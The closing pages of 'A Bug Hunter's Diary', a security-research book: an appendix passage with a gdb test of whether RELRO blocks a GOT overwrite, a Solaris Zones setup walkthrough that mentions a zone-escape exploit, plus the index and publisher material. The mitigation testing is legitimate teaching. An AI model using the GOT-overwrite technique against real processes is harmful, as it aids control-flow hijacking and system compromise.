Result: If only Partial RELRO is used to protect an ELF binary, it is still possible to modify arbitrary GOT entries to gain control of the execution flow of a process.
I then tried to overwrite the GOT address of `printf()` again:

```
linux$ objdump -R ./testcase | grep printf
08049ff8 R_386_JUMP_SLOT   printf

linux$ gdb -q ./testcase

(gdb) run 08049ff8
Starting program: /home/tk/BHD/testcase 08049ff8

Program received signal SIGSEGV, Segmentation fault. 0x08048445 in main (argc=2, argv=0xbffff814) at testcase.c:8
8     p[0] = 0x41414141;

This time, the execution flow was interrupted by a SIGSEGV signal at source code line 8. Let's see why:

(gdb) set disassembly-flavor intel

(gdb) x/1i $eip
0x8048445 <main+49>:    mov    DWORD PTR [eax],0x41414141

(gdb) info registers eax
eax            0x8049ff8        134520824

As expected, the program tried to write the value `0x41414141` at the given memory address `0x8049ff8`.

(gdb) shell cat /proc/$(pidof testcase)/maps
08048000-08049000 r-xp 00000000 08:01 497907 /home/tk/testcase
08049000-0804a000 r--p 00000000 08:01 497907 /home/tk/testcase
0804a000-0804b000 rw-p 00001000 08:01 497907 /home/tk/testcase
b7e8a000-b7e8b000 rw-p 00000000 00:00 0 /lib/i686/cmov/libc-2.11.2.so
b7e8b000-b7fcb000 r-xp 00000000 08:01 181222 /lib/i686/cmov/libc-2.11.2.so
b7fcb000-b7fcd000 r--p 0013f000 08:01 181222 /lib/i686/cmov/libc-2.11.2.so
b7fcd000-b7fce000 rw-p 00141000 08:01 181222 /lib/i686/cmov/libc-2.11.2.so
b7fce000-b7f70100 rw-p 00000000 00:00 0 [vdso]
0x8049ff8        134520824

The memory map of the process shows that the memory range 08049000-0804a000, which includes the GOT, was successfully set to read-only (r--p).

Result: If Full RELRO is enabled, the attempt to overwrite a GOT address leads to an error because the GOT section is mapped read-only.
Conclusion

In case of a buffer overflow in the program’s data sections (.data and .bss), both Partial and Full RELRO protect the ELF internal data sections from being overwritten.

With Full RELRO, it’s possible to successfully prevent the modification of GOT entries.

There is also a generic way to implement a similar mitigation technique for ELF objects, which works on platforms that don’t support RELRO.12

C.3 Solaris Zones

Solaris Zones is a technology used to virtualize operating system services and provide an isolated environment for running applications. A zone is a virtualized operating system environment created within a single instance of the Solaris Operating System. When you create a zone, you produce an application execution environment in which processes are isolated from the rest of the system. This isolation should prevent processes that are running in one zone from monitoring or affecting processes that are running in other zones. Even a process running with superuser credentials shouldn’t be able to view or affect activity in other zones.

Terminology

There are two different kinds of zones: global and non-global. The global zone represents the conventional Solaris execution environment and is the only zone from which non-global zones can be configured and installed. By default, non-global zones cannot access the global zone or other non-global zones. All zones have a security boundary around them and are confined to their own subtree of the filesystem hierarchy. Every zone has its own root directory, has separate processes and devices, and operates with fewer privileges than the global zone.

Sun and Oracle were very confident about the security of their Zones technology when they rolled it out:

Once a process has been placed in a zone other than the global zone, neither the process nor any of its subsequent children can change zones.

Network services can be run in a zone. By running network services in a zone, you limit the damage possible in the event of a security violation. An intruder who successfully exploits a security flaw in software running within a zone is

The platform I used throughout this section was the default installation of Solaris 10 10/08 x86/x64 DVD Full Image (sol-10-u6-ga1-x86-dvd.iso), which is called Solaris 10 Generic_137138-09.
confined to the restricted set of actions possible within that zone. The privileges available within a zone are a subset of those available in the system as a whole. . .

Processes are restricted to a subset of privileges. Privilege restriction prevents a zone from performing operations that might affect other zones. The set of privileges limits the capabilities of privileged users within the zone. To display the list of privileges available within a zone, use the `ppriv` utility.

Solaris Zones is great, but there is one weak point: All zones (global and non-global) share the same kernel. If there is a bug in the kernel that allows arbitrary code execution, it’s possible to cross all security boundaries, escape from a non-global zone, and compromise other non-global zones or even the global zone. To demonstrate this, I recorded a video that shows the exploit for the vulnerability described in Chapter 3 in action. The exploit allows an unprivileged user to escape from a non-global zone and then compromise all other zones, including the global zone. You can find the video on this book’s website.

**Set Up a Non-Global Solaris Zone**

To set up the Solaris Zone for Chapter 3, I did the following steps (all steps have to be performed as a privileged user in the global zone):

```plaintext
solaris# id
uid=0(root) gid=0(root)
solaris# zonename
global
```

The first thing I did was to create a filesystem area for the new zone to reside in:

```plaintext
solaris# mkdir /wwwzone
solaris# chmod 700 /wwwzone
solaris# ls -l / | grep wwwzone
drwx------ 2 root root 512 Aug 23 12:45 wwwzone
```

I then used `zonecfg` to create the new non-global zone:

```plaintext
solaris# zonecfg -z wwwzone
wwwzone: No such zone configured
Use ‘create’ to begin configuring a new zone.
zonecfg:wwwzone> create
zonecfg:wwwzone> set zonepath=/wwwzone
```
After that, I checked the results of my actions with `zoneadm`:

```
solaris# zoneadm list -vc
  ID  NAME     STATUS    PATH                       BRAND     IP
  0   global    running   /                          native     shared
  -   wwwzone   configured /wwwzone                 native     shared
```

Next, I installed and booted the new non-global zone:

```
solaris# zoneadm -z wwwzone install
Preparing to install zone <wwwzone>.
Creating list of files to copy from the global zone.
Copying <8135> files to the zone.
Initializing zone product registry.
Determining zone package initialization order.
Preparing to initialize <1173> packages on the zone.
Initialized <1173> packages on zone.
Zone <wwwzone> is initialized.

solaris# zoneadm -z wwwzone boot
```

To ensure that everything had gone okay, I pinged the IP address of the new non-global zone:

```
solaris# ping 192.168.10.250
192.168.10.250 is alive
```

To log into the new non-global zone, I used the following command:

```
solaris# zlogin -C wwwzone
```

After answering the questions regarding language and terminal settings, I logged in as root and created a new unprivileged user:

```
solaris# id
uid=0(root) gid=0(root)

solaris# zonename
wwwzone
```
solaris# mkdir /export/home
solaris# mkdir /export/home/wwwuser
solaris# useradd -d /export/home/wwwuser wwwuser
solaris# chown wwwuser /export/home/wwwuser
solaris# passwd wwwuser

I then used this unprivileged user to exploit the Solaris kernel vulnerability described in Chapter 3.
Notes


4. See the home page of the PaX team at http://pax.grsecurity.net/ as well as the grsecurity website at http://www.grsecurity.net/.


8. To download BinScope Binary Analyzer, visit http://go.microsoft.com/?linkid=9678113.


11. See note 9 above.


15. See http://www.trapkit.de/books/bhd/.
INDEX

**Numbers**
4.4BSD, 130
4X movie file format, 53

**A**
AAC (Advanced Audio Coding), 136
ActiveX, 71
Address Space Layout Randomization (ASLR), 19–21, 179–182
Advanced Audio Coding (AAC), 136
ALWIL Software, 87
antivirus products, 87
Apache webserver, 137
Apple
  GNU Debugger version, 173
  iPhone, 133
  MacBook, 113
ARM CPU, 7, 140, 146
assembly syntax
  AT&T, 124, 173
  Intel, 93, 140, 173
ASLR (Address Space Layout Randomization) 19–21, 179–182
Audio Toolbox (Apple iOS audio framework), 134
avast! antivirus product, 87

**B**
Blue Screen of Death (BSoD), 109
brute force technique, 63, 125
BSoD (Blue Screen of Death), 109
buffer overflows, 5, 9, 81, 142, 149, 180, 183
bug hunting, definition of, 3

**C**
Celestial (Apple iOS audio framework), 134
checksec.sh, 183–184
Cisco, 71, 84
Common Vulnerabilities and Exposures Identifiers (CVE-IDs), 23
CVE-2007-4686, 130
CVE-2008-568, 49
CVE-2008-1625, 110
CVE-2008-3558, 84
CVE-2008-4654, 22
CVE-2009-0385, 69
CVE-2010-0036, 147
COMRaider, 72
coordinated disclosure, 18
Core Audio (Apple iOS audio framework), 134
cross-site scripting (XSS), 75
CTL_CODE, 97
CurrentStackLocation, 95
CVE-IDs. See Common Vulnerabilities and Exposures Identifiers
Cygwin environment, 21

D
Data Execution Prevention (DEP), 19–21, 179–182
data transfer type, 97
d debuggers, 6
  The GNU Debugger (gdb), 7, 121, 140, 171–176
  Immunity Debugger, 7, 16
  The Modular Debugger (mdb), 7, 37, 163–165
  OllyDbg, 7
  WinDbg, 7, 76–77, 92–95, 99, 107, 165–170
demuxer, 10, 52
DEP (Data Execution Prevention), 19–21, 179–182
DeviceIoControl(), 90
Direct Kernel Object Manipulation (DKOM), 110
dis assemblers, 7
DispCallFunc(), 76
DKOM (Direct Kernel Object Manipulation), 110
double frees, 6
 DRIVER_OBJECT, 90
DriverView, 88
dynamic analysis, 4

E
ELF (Executable and Linkable Format), 61, 157
Enhanced Mitigation Experience Toolkit (EMET), 22
Executable and Linkable Format (ELF), 61, 157
exploit, 3
  for avast! antivirus product vulnerability, 110
development of, 8
  for FFmpeg vulnerability, 65
  for Mac OS X kernel vulnerability, 129
  for Sun Solaris kernel vulnerability, 48
  for VLC media player vulnerability, 18
  for WebEx vulnerability, 83

F
FFmpeg multimedia library, 51, 155
FreeBSD, 130
full disclosure, 18, 84
fuzzing, 4, 134

G
gdb (The GNU Debugger), 7, 121, 140, 171–176
Global Offset Table (GOT), 61, 67, 157, 183
GNU Debugger, The (gdb), 7, 121, 140, 171–176
GOT overwrite, 67, 157–161
/GS, 19, 152, 179–182

H
heap buffer overflows, 149. See also buffer overflows
heap-memory management, 6
heap mitigation techniques, 179
heap spraying techniques, 83, 129

I
IDA Pro (Interactive Disassembler Professional), 7, 78, 88, 181
Immunity Debugger, 7, 16
input/output controls (IOCTL),
   26, 88, 113
   ioctl(), 115
instruction alignment, 146
instruction pointer, 7, 150
Intel, 7, 149
Interactive Disassembler Professional (IDA Pro), 7, 78,
   88, 181
Internet Explorer, 71
IoCreateDevice(), 88
IOCTL (input/output controls),
   26, 88, 113
   ioctl(), 115
I/O request packet (IRP), 95
_Io_STACK_LOCATION, 96
iPhone, 133
IRP (I/O request packet), 95
IRP_MJ_DEVICE_CONTROL, 90

J
   jmp reg technique, 18, 19

K
   kernel debugging, 7, 37, 88, 121,
      167, 173
   Kernel Debug Kit, 174
   kernel driver, 87
   kernel panic, 32, 37–38, 120, 165
   kernel space, 39, 102
   KeSetEvent(), 107

L
   Linux
      Debian, 157, 183
      debugging the Mac OS X
         kernel with, 121, 173
      and exploit mitigation tech-
         niques, 180, 183
      fuzzing the iPhone with, 134
      gdb, debugger for, 7
      Red Hat, 173
      stack buffer overflows
         under, 151
      Ubuntu, 56, 63, 151
   little-endian, 17, 143
   LookingGlass, 21

M
   Mac OS X, 7, 113, 173
   mdb (The Modular Debugger),
      7, 37, 163–165
   mediaserverd, 134
   memcpy(), 101, 142
   memory corruption, 6, 140,
      149, 157
   memory errors, 6
   memory leak, 129, 140
   METHOD_BUFFERED, 99
   MindshaRE, 76
   mmap(), 44
   MobileSafari, 133
   Modular Debugger, The (mdb),
      7, 37, 163–165
   Most Significant Bit (MSB), 156
   movie header atom, 144
   movsx, 5
   MSB (Most Significant Bit), 156

N
   non-maskable interrupt
      (NMI), 122
   NULL pointer dereference, 6,
      32, 51, 153–154

O
   objdump, 63, 161, 184
   OS X, 7, 113, 173

P
   parser, 9
   PLT (Procedure Linkage Table),
      158–160
   privilege escalation, 110, 129
   Procedure Linkage Table (PLT),
      158–160
   program counter, 7, 150
   Python, 74

Q
   QuickTime (File Format Specifi-
      cation), 144
readelf, 161
RELRO, 67–69, 183–186
rep movsd, 101
return address (RET), 150
runtime link editor (rtld), 157, 159
saved frame pointer (SFP), 150–151
security advisories
TKADV2007-001, 131
TKADV2008-002, 111
TKADV2008-009, 85
TKADV2008-010, 24
TKADV2008-015, 50
TKADV2009-004, 70
TKADV2010-002, 148
security cookie, 19, 152, 179-182
SFP (saved frame pointer), 150–151
sign bit, 156
sign-extension vulnerabilities, 5
SiteLock, 84
Solaris
kernel, 25
mdb, debugger for, 7
Solaris Zones, 39, 186-189
sprintf(), 80
stack buffer overflows, 149. See also buffer overflows
stack canary, 151, 180
stack frame, 150
static analysis, 4
STREAMS, 27
Tipping Point, Zero Day Initiative (ZDI), 18
TiVo file format, 10
type conversion, 51, 117, 154
uninitialized variables, 6
user space, 27, 39, 51, 90, 129
VBScript, 74
VCP (Vulnerability Contributor Program), 18, 84
Verisign iDefense Labs, Vulnerability Contributor Program (VCP), 18, 84
VideoLAN, 9
VirusTotal, 87
VLC media player, 9, 51, 65
VMware, 88, 167–170
vulnerability brokers, 18
Tipping Point, 18
Verisign iDefense Labs, 18, 84
Vulnerability Contribution Program (VCP), 18, 84
vulnerability rediscovery, 84
WebEx Meeting Manager, 71
WinDbg, 7, 76–77, 92–95, 99, 107, 165–170
Windows I/O manager, 95
Windows Vista, 10, 19, 152, 156, 181
Windows XP, 71, 88, 107, 167, 180
WinObj, 90
XNU kernel, 113, 174
XSS (cross-site scripting), 75
xxd, 136
Zero Day Initiative (ZDI), 18
zero page, 39–46, 153
UPDATES

Visit http://nostarch.com/bughunter.htm for updates, errata, and other information.

More no-nonsense books from

METASPLOIT
The Penetration Tester’s Guide
by David Kennedy, Jim O’Gorman, Devon Kearns, and Mati Aharoni
July 2011, 328 pp., $49.95

PRACTICAL PACKET ANALYSIS, 2ND EDITION
Using Wireshark to Solve Real-World Network Problems
by Chris Sanders
July 2011, 280 pp., $49.95
ISBN 978-1-59327-266-1

THE IDA PRO BOOK, 2ND EDITION
The Unofficial Guide to the World’s Most Popular Disassembler
by Chris Eagle
July 2011, 672 pp., $69.95
ISBN 978-1-59327-289-0

THE TANGLED WEB
A Guide to Securing Modern Web Applications
by Michal Zalewski
November 2011, 320 pp., $49.95
ISBN 978-1-59327-388-0

HACKING, 2ND EDITION
The Art of Exploitation
by Jon Erickson
February 2008, 488 pp. w/cd, $49.95

PRACTICAL MALWARE ANALYSIS
The Hands-On Guide to Dissecting Malicious Software
by Michael Sikorski and Andrew Hong
January 2012, 760 pp., $59.95
ISBN 978-1-59327-290-6

PHONE: 800.420.7240 or 415.863.9900
EMAIL: sales@nostarch.com
WEB: www.nostarch.com

The book was printed and bound by Malloy Incorporated in Ann Arbor, Michigan. The paper is Spring Forge 60# Antique, which is certified by the Sustainable Forestry Initiative (SFI). The book has a RepKover binding, which allows it to lie flat when open.
“Give a man an exploit and you make him a hacker for a day; teach a man to exploit bugs and you make him a hacker for a lifetime.” – Felix “FX” Lindner

Seemingly simple bugs can have drastic consequences, allowing attackers to compromise systems, escalate local privileges, and otherwise wreak havoc on a system.

A Bug Hunter’s Diary follows security expert Tobias Klein as he tracks down and exploits bugs in some of the world’s most popular software, like Apple’s iOS, the VLC media player, web browsers, and even the Mac OS X kernel. In this one-of-a-kind account, you’ll see how the developers responsible for these flaws patched the bugs—or failed to respond to them at all.

Along the way you’ll learn how to:

- Use field-tested techniques to find bugs, like identifying and tracing user input data and reverse engineering
- Exploit vulnerabilities like NULL pointer dereferences, buffer overflows, and type conversion flaws
- Develop proof-of-concept code that verifies the security flaw
- Report bugs to vendors or third-party brokers

A Bug Hunter’s Diary is packed with real-world examples of vulnerable code and the custom programs used to find and test bugs. Whether you’re hunting bugs for fun, for profit, or to make the world a safer place, you’ll learn valuable new skills by looking over the shoulder of a professional bug hunter in action.

ABOUT THE AUTHOR

Tobias Klein is a security researcher and founder of NESO Security Labs, an information security consulting and research company. He is the author of two information security books published in the German language by dpunkt.verlag.